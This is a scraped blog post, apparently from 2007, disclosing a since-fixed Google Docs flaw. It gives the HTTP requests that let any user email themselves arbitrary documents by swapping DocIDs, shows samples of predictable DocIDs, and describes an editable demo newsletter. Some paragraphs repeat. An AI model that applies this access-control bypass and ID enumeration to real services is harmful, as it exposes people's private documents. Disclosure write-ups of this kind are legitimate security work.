This issue does stem on being able to predict the DocID for the document that you want to steal. At first glance, the DocID seems to be a fairly stout "random string", but a little bit of analysis shows some interesting characteristics. It seems that the DocID is delimited by an “_” character. The characters preceding the underscore represent the Google Docs UserID. Each document uploaded to Google Docs by a particular user will have the same characters up to the underscore. Now... what about the characters after the underscore? Well... take a look at what happens when I generate 10 different DocIDs in rapid succession:
mydocsid_14ggbd48
mydocsid_15gt54pt
mydocsid_16c44jws
mydocsid_17cnnfw8
mydocsid_18ggzpm7
mydocsid_19dczf6g
mydocsid_20c8h7nx
mydocsid_21czqc3h
mydocsid_22d48w8j
mydocsid_23f4hk9b
mydocsid_24gdwfzk
Maybe the last set of characters isn’t as “random” as we thought…… Throw in some DocID enumeration (which exists) and we may be on to something here… I’ve seen Session Management issues like this in MANY of the web applications I’ve assessed. If your hired gun (webapp pentester) looks at you funny when you ask if they are testing for Session Management issues, FIND A NEW ONE! There isn’t a web app vulnerability scanner on the market that can detect this and Web App firewalls will not prevent this either! It takes an actual brain and some experience to find these types of issues!
In closing, I would like to give a shout to the Google Security Team. If you’ve ever dealt with the Google Security Team, you know that they take security seriously and they move fast…. VERY FAST. After giving them the details for a couple of Google vulnerabilities, it took Google ONE DAY to fix the issues and to deploy the fixes worldwide… Kudos to Chris and the GST.
Well... the week isn't over YET! I'm actually disclosing this vulnerability because Google has already fixed it. Although I don't use Google Docs (because I'm a paranoid guy), I know a lot of people who do and I didn't want to put their docs at risk. Without further delay, the details...
This vulnerability allowed any Google Docs user to STEAL ARBITRARY DOCUMENTS from the Google Docs Server. The basis of the vulnerability stems from a simple Session Management issue. Once a user has logged into Google Docs and has created a document, they are presented with several options. Under the "Share" tab, the user has an option to "Email Collaborators"
Once the user clicks the "Email Collaborators" link, the following HTTP GET request is made to docs.google.com:
GET /Dialogs/EmailDocument?DocID=<ANY DOC ID HERE> HTTP/1.1
<appropriate HTTP headers here>
If you changed the DocID value to another DocID, Google Docs WOULD NOT VALIDATE whether you should have access to that DocID. The title of the stolen document you requested will be shown (as a javascript variable) in the HTTP 200 OK response that is returned. Once this step is completed, you can make a POST request to a Google Docs Server Side Script named MiscCommands. The POST request looks something like this:
POST /MiscCommands HTTP/1.1
<appropriate HTTP headers here>
command=validate_address&docid=<ANY DOCID HERE>&addr=gmail%40gmail.com&finis=true&POST_TOKEN=POSTTOKENVALUE
If you changed the DocID in the POST request, the entire contents of that document would be emailed to the addresses specified in the "addr" parameter! I tested this against several friends Google Docs and it worked EVERYTIME!
This issue does stem on being able to predict the DocID for the document that you want to steal. At first glance, the DocID seems to be a fairly stout "random string", but a little bit of analysis shows some interesting characteristics. It seems that the DocID is delimited by an “_” character. The characters preceding the underscore represent the Google Docs UserID. Each document uploaded to Google Docs by a particular user will have the same characters up to the underscore. Now... what about the characters after the underscore? Well... take a look at what happens when I generate 10 different DocIDs in rapid succession:
mydocsid_14ggbd48
mydocsid_15gt54pt
mydocsid_16c44jws
mydocsid_17cnnfw8
mydocsid_18ggzpm7
mydocsid_19dczf6g
mydocsid_20c8h7nx
mydocsid_21czqc3h
mydocsid_22d48w8j
mydocsid_23f4hk9b
mydocsid_24gdwfzk
Maybe the last set of characters isn’t as “random” as we thought…… Throw in some DocID enumeration (which exists) and we may be on to something here… I’ve seen Session Management issues like this in MANY of the web applications I’ve assessed. If your hired gun (webapp pentester) looks at you funny when you ask if they are testing for Session Management issues, FIND A NEW ONE! There isn’t a web app vulnerability scanner on the market that can detect this and Web App firewalls will not prevent this either! It takes an actual brain and some experience to find these types of issues!
In closing, I would like to give a shout to the Google Security Team. If you’ve ever dealt with the Google Security Team, you know that they take security seriously and they move fast…. VERY FAST. After giving them the details for a couple of Google vulnerabilities, it took Google ONE DAY to fix the issues and to deploy the fixes worldwide… Kudos to Chris and the GST.
Thursday, September 20, 2007
BK for Mayor of Oak Tree View
I’m excited about Google Docs.... although there is NO WAY you could convince me to upload my sensitive documents to a Google Server, I’m still very interested in seeing how Google’s Engineers tackle the security issues with online document sharing. Security for online collaboration tools is TOUGH, every online collaboration tool I’ve ever assessed has had major issues.
So I made my way to docs.google.com to see what the hype is all about. I found the link for “Watch a Video” on the login page. I like Google’s videos and this one did not disappoint. About half way through the video (1:60), I saw something that made me put my beer down… a link to a Google Document.

Being the curious sort, I entered the link into my browser address bar. I was surprised to see the following document:

Now, being able to view someone else’s document is pretty bad… but this is a demo… maybe they WANT everyone to see this document… that’s understandable. So what happened next REALLY surprised me… I clicked on the “Edit this page” link, entered my creds… and lo and behold… I had full rights to edit/modify the Oak Tree View newsletter!

I was planning on using the Oak Tree View newsletter to launch my campaign for Mayor of Oak Tree View, but I decided against modifying the page, as I’m not interested in pwning Sam’s pretty little newsletter. I’m sure she’s not interested in what I have to say about Oak Tree View….
So I made my way to docs.google.com to see what the hype is all about. I found the link for “Watch a Video” on the login page. I like Google’s videos and this one did not disappoint. About half way through the video (1:60), I saw something that made me put my beer down… a link to a Google Document.
Being the curious sort, I entered the link into my browser address bar. I was surprised to see the following document:
Now, being able to view someone else’s document is pretty bad… but this is a demo… maybe they WANT everyone to see this document… that’s understandable. So what happened next REALLY surprised me… I clicked on the “Edit this page” link, entered my creds… and lo and behold… I had full rights to edit/modify the Oak Tree View newsletter!
I was planning on using the Oak Tree View newsletter to launch my campaign for Mayor of Oak Tree View, but I decided against modifying the page, as I’m not interested in pwning Sam’s pretty little newsletter. I’m sure she’s not interested in what I have to say about Oak Tree View….
Subscribe to:
Posts (Atom)